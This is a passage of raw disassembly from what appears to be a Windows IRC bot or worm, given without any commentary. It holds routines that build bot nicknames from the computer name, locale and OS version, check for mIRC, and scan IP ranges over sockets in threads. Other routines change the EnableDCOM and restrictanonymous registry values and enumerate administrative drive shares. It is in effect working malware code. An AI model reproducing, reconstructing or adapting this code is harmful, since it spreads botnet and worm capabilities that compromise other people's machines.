		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_4122AD


loc_4122C3:				; CODE XREF: sub_412280+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_412280	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4122E0:				; CODE XREF: .text:00401069j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_495340	; GetTickCount
		push	eax
		call	sub_416B0E
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_434B48
		push	eax
		push	esi
		call	ds:dword_4953F0	; GetComputerNameA
		movsx	eax, byte_434B48
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_41231C:				; CODE XREF: .text:00412327j
		cmp	eax, ecx
		jnz	short loc_412323
		mov	[ebp-4], edx


loc_412323:				; CODE XREF: .text:0041231Ej
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_41231C
		push	61h
		pop	ecx


loc_41232C:				; CODE XREF: .text:00412337j
		cmp	eax, ecx
		jnz	short loc_412333
		mov	[ebp-4], edx


loc_412333:				; CODE XREF: .text:0041232Ej
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_41232C
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_4163D7
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42C928, esi
		jle	short loc_412378


loc_412352:				; CODE XREF: .text:00412376j
		call	sub_416B18
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_4163D7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C928
		jl	short loc_412352


loc_412378:				; CODE XREF: .text:00412350j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4123A5:				; CODE XREF: .text:0040128Fj
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_495340	; GetTickCount
		push	eax
		call	sub_416B0E
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_495400	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aEmr3S	; "emr3-[%s]-"
		push	1Ch
		push	edi
		call	sub_4163D7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C928, esi
		jle	short loc_412414


loc_4123EE:				; CODE XREF: .text:00412412j
		call	sub_416B18
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_4163D7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C928
		jl	short loc_4123EE


loc_412414:				; CODE XREF: .text:004123ECj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_412437:				; CODE XREF: .text:0040103Cj
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_4370BC
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_495404	; GetVersionExA
		call	ds:dword_495340	; GetTickCount
		push	eax
		call	sub_416B0E
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_4124BB
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_41249B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_41248B
		mov	esi, offset a95	; "95"


loc_41248B:				; CODE XREF: .text:00412484j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_4124F7
		mov	esi, offset aNt	; "NT"
		jmp	short loc_4124F7
; ---------------------------------------------------------------------------


loc_41249B:				; CODE XREF: .text:0041247Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4124AB
		mov	esi, offset a98	; "98"
		jmp	short loc_4124F7
; ---------------------------------------------------------------------------


loc_4124AB:				; CODE XREF: .text:004124A2j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_4124F2
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_4124F7
; ---------------------------------------------------------------------------


loc_4124BB:				; CODE XREF: .text:00412472j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_4124F2
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4124D4
		mov	esi, offset a2k	; "2K"
		jmp	short loc_4124F7
; ---------------------------------------------------------------------------


loc_4124D4:				; CODE XREF: .text:004124CBj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_4124E4
		mov	esi, offset aXp	; "XP"
		jmp	short loc_4124F7
; ---------------------------------------------------------------------------


loc_4124E4:				; CODE XREF: .text:004124DBj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_4124F7


loc_4124F2:				; CODE XREF: .text:004124B2j
					; .text:004124C2j
		mov	esi, offset a??? ; "???"


loc_4124F7:				; CODE XREF: .text:00412492j
					; .text:00412499j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_4	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_4163D7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C928, esi
		jle	short loc_41253B


loc_412515:				; CODE XREF: .text:00412539j
		call	sub_416B18
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_4163D7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C928
		jl	short loc_412515


loc_41253B:				; CODE XREF: .text:00412513j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 42h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412583	proc near		; CODE XREF: sub_401163j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_495340	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_4125D2
		call	dword_491668	; FindWindowA
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_4125BB
		mov	eax, offset byte_4370BC


loc_4125BB:				; CODE XREF: sub_412583+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_4163D7
		add	esp, 14h
		jmp	short loc_4125F2
; ---------------------------------------------------------------------------


loc_4125D2:				; CODE XREF: sub_412583+22j
		call	dword_491668	; FindWindowA
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_4125E6
		mov	eax, offset byte_4370BC


loc_4125E6:				; CODE XREF: sub_412583+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_4125F2:				; CODE XREF: sub_412583+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4158E0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_412621
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4168B0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416A10
		add	esp, 18h


loc_412621:				; CODE XREF: sub_412583+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_412583	endp

; ---------------------------------------------------------------------------
		db 28h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41264E	proc near		; CODE XREF: sub_401343j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_434AD4


loc_41265A:				; CODE XREF: sub_41264E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_412675
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_416B70
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41267F
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_41264E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_41267F:				; CODE XREF: sub_41264E+25j
		test	eax, eax
		jnz	short loc_412691
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_434B38
		jl	short loc_41265A
		jmp	short loc_41269F
; ---------------------------------------------------------------------------


loc_412691:				; CODE XREF: sub_41264E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_434AD8[eax*4]
		pop	ecx


loc_41269F:				; CODE XREF: sub_41264E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_4126B2
		push	[ebp+arg_0]
		call	sub_401163
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4126B2:				; CODE XREF: sub_41264E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_41264E	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4126D1	proc near		; CODE XREF: sub_4011D6j

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_49165C	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4916DC	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41278F
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_491604	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E92C[ecx], esi
		jz	short loc_41278F
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_4916E8	; inet_ntoa
		push	eax
		mov	edi, offset dword_492510
		push	offset dword_434B90
		push	edi
		call	sub_416821
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_4010D2
		push	edi
		call	sub_401014
		add	esp, 28h


loc_41278F:				; CODE XREF: sub_4126D1+5Dj
					; sub_4126D1+7Ej
		push	esi
		call	dword_4916F4	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_4126D1	endp

; ---------------------------------------------------------------------------
		db 33h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4127D1	proc near		; CODE XREF: sub_4010C8j

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_495324
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_4127FF:				; CODE XREF: sub_4127D1+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset dword_434BC8
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43E720
		push	eax
		call	sub_416A10
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_4011D6
		push	edi
		push	edi
		call	ds:dword_49532C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_41286B


loc_412860:				; CODE XREF: sub_4127D1+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_41286B
		push	32h
		call	esi	; Sleep
		jmp	short loc_412860
; ---------------------------------------------------------------------------


loc_41286B:				; CODE XREF: sub_4127D1+8Dj
					; sub_4127D1+92j
		push	[ebp+var_4]
		call	ds:dword_495358	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_415960
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_491590	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_491658	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_415960
		add	esp, 0Ch
		jmp	loc_4127FF
sub_4127D1	endp

; ---------------------------------------------------------------------------
		db 3Ch dup(0CCh)
; ---------------------------------------------------------------------------


loc_4128FE:				; CODE XREF: sub_401127j
		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-98h]
		rep movsd
		pop	edi
		pop	esi
		push	dword ptr [ebp-8]
		cmp	dword ptr [ebp-10h], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp-94h]
		push	dword ptr [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-98h]
		jz	short loc_412945
		call	sub_401172
		jmp	short loc_41294A
; ---------------------------------------------------------------------------


loc_412945:				; CODE XREF: .text:0041293Cj
		call	sub_4011DB


loc_41294A:				; CODE XREF: .text:00412943j
		add	esp, 10h
		push	dword ptr [ebp-14h]
		call	sub_4012A3
		pop	ecx
		push	0
		call	ds:dword_495334	; ExitThread
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412976	proc near		; CODE XREF: sub_401172j

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_49172C, edi
		jnz	loc_412AA8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4916CC	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_412A01
		mov	ax, word_434FD0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_491680	; RegSetValueExA
		test	eax, eax
		jz	short loc_4129E3
		push	offset unk_434F88
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129E3:				; CODE XREF: sub_412976+64j
		push	offset dword_434F58


loc_4129E8:				; CODE XREF: sub_412976+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_491638	; RegCloseKey
		jmp	short loc_412A14
; ---------------------------------------------------------------------------


loc_412A01:				; CODE XREF: sub_412976+36j
		lea	eax, [ebp+var_214]
		push	offset unk_434F10
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_412A14:				; CODE XREF: sub_412976+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_412A33
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_412A33:				; CODE XREF: sub_412976+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401014
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4916CC	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_412AA1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_491680	; RegSetValueExA
		test	eax, eax
		jz	short loc_412A83
		push	offset unk_434EA4
		jmp	short loc_412A88
; ---------------------------------------------------------------------------


loc_412A83:				; CODE XREF: sub_412976+104j
		push	offset unk_434E58


loc_412A88:				; CODE XREF: sub_412976+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_491638	; RegCloseKey
		jmp	short loc_412ABB
; ---------------------------------------------------------------------------


loc_412AA1:				; CODE XREF: sub_412976+E2j
		push	offset unk_434E04
		jmp	short loc_412AAD
; ---------------------------------------------------------------------------


loc_412AA8:				; CODE XREF: sub_412976+13j
		push	offset unk_434DC0


loc_412AAD:				; CODE XREF: sub_412976+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_412ABB:				; CODE XREF: sub_412976+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_412ADA
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_412ADA:				; CODE XREF: sub_412976+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401014
		cmp	dword_491754, edi
		pop	ecx
		jnz	loc_412C55
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_412AFD:				; CODE XREF: sub_412976+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4915A8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_412B9A
		cmp	eax, 0EAh
		jz	short loc_412B9A
		mov	esi, offset off_434C10


loc_412B2E:				; CODE XREF: sub_412976+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40107D
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412B45
		push	offset unk_434D8C
		jmp	short loc_412B4A
; ---------------------------------------------------------------------------


loc_412B45:				; CODE XREF: sub_412976+1C6j
		push	offset unk_434D4C


loc_412B4A:				; CODE XREF: sub_412976+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_4163D7
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_412B7D
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_412B7D:				; CODE XREF: sub_412976+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401014
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_434C30
		jl	short loc_412B2E
		jmp	loc_412C32
; ---------------------------------------------------------------------------


loc_412B9A:				; CODE XREF: sub_412976+1AAj
					; sub_412976+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_412C29


loc_412BA9:				; CODE XREF: sub_412976+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_417CEF
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_412C1E
		push	edi
		call	sub_40114F
		push	eax
		push	0
		call	sub_40107D
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412BD8
		push	offset unk_434D18
		jmp	short loc_412BDD
; ---------------------------------------------------------------------------


loc_412BD8:				; CODE XREF: sub_412976+259j
		push	offset unk_434CD8


loc_412BDD:				; CODE XREF: sub_412976+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_4163D7
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_412C11
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_412C11:				; CODE XREF: sub_412976+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401014
		pop	ecx


loc_412C1E:				; CODE XREF: sub_412976+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_412BA9
		xor	edi, edi


loc_412C29:				; CODE XREF: sub_412976+22Dj
		push	[ebp+var_8]
		call	dword_4916EC


loc_412C32:				; CODE XREF: sub_412976+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_412AFD
		lea	eax, [ebp+var_214]
		push	offset unk_434C9C
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_412C68
; ---------------------------------------------------------------------------


loc_412C55:				; CODE XREF: sub_412976+177j
		lea	eax, [ebp+var_214]
		push	offset unk_434C58
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_412C68:				; CODE XREF: sub_412976+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_412C86
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_412C86:				; CODE XREF: sub_412976+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401014
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_412976	endp

; ---------------------------------------------------------------------------
		db 0C9h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D63	proc near		; CODE XREF: sub_4011DBj

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_49172C, ebx
		push	esi
		jnz	loc_412E91
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4916CC	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_412DEE
		mov	ax, word_4351E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_491680	; RegSetValueExA
		test	eax, eax
		jz	short loc_412DD0
		push	offset unk_4351B0
		jmp	short loc_412DD5
; ---------------------------------------------------------------------------


loc_412DD0:				; CODE XREF: sub_412D63+64j
		push	offset dword_435180


loc_412DD5:				; CODE XREF: sub_412D63+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_491638	; RegCloseKey
		jmp	short loc_412E01
; ---------------------------------------------------------------------------


loc_412DEE:				; CODE XREF: sub_412D63+36j
		lea	eax, [ebp+var_220]
		push	offset unk_434F10
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_412E01:				; CODE XREF: sub_412D63+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_412E20
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_412E20:				; CODE XREF: sub_412D63+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401014
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4916CC	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_412E8A
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_491680	; RegSetValueExA
		test	eax, eax
		jz	short loc_412E6C
		push	offset unk_435128
		jmp	short loc_412E71
; ---------------------------------------------------------------------------


loc_412E6C:				; CODE XREF: sub_412D63+100j
		push	offset unk_4350DC


loc_412E71:				; CODE XREF: sub_412D63+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_491638	; RegCloseKey
		jmp	short loc_412EA4
; ---------------------------------------------------------------------------


loc_412E8A:				; CODE XREF: sub_412D63+E2j
		push	offset unk_435088
		jmp	short loc_412E96
; ---------------------------------------------------------------------------


loc_412E91:				; CODE XREF: sub_412D63+13j
		push	offset unk_434DC0


loc_412E96:				; CODE XREF: sub_412D63+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_412EA4:				; CODE XREF: sub_412D63+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_412EC3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_412EC3:				; CODE XREF: sub_412D63+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401014
		cmp	dword_491754, ebx
		pop	ecx
		jnz	loc_413035
		push	edi
		mov	esi, offset off_434C10
		mov	edi, 200h


loc_412EE7:				; CODE XREF: sub_412D63+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40132F
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412F02
		push	offset unk_435054
		jmp	short loc_412F07
; ---------------------------------------------------------------------------


loc_412F02:				; CODE XREF: sub_412D63+196j
		push	offset unk_435018


loc_412F07:				; CODE XREF: sub_412D63+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_412F36
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_412F36:				; CODE XREF: sub_412D63+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401014
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_434C20
		jl	short loc_412EE7


loc_412F4E:				; DATA XREF: .data:off_4356E0o
		call	ds:dword_495408	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41301D


loc_412F61:				; CODE XREF: sub_412D63+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_413012
		cmp	bl, 41h
		jz	loc_413012
		movsx	esi, bl
		push	esi
		push	offset aC_0	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_4163D7
		push	esi
		push	offset aC	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_4163D7
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4916BC	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_413012
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40132F
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
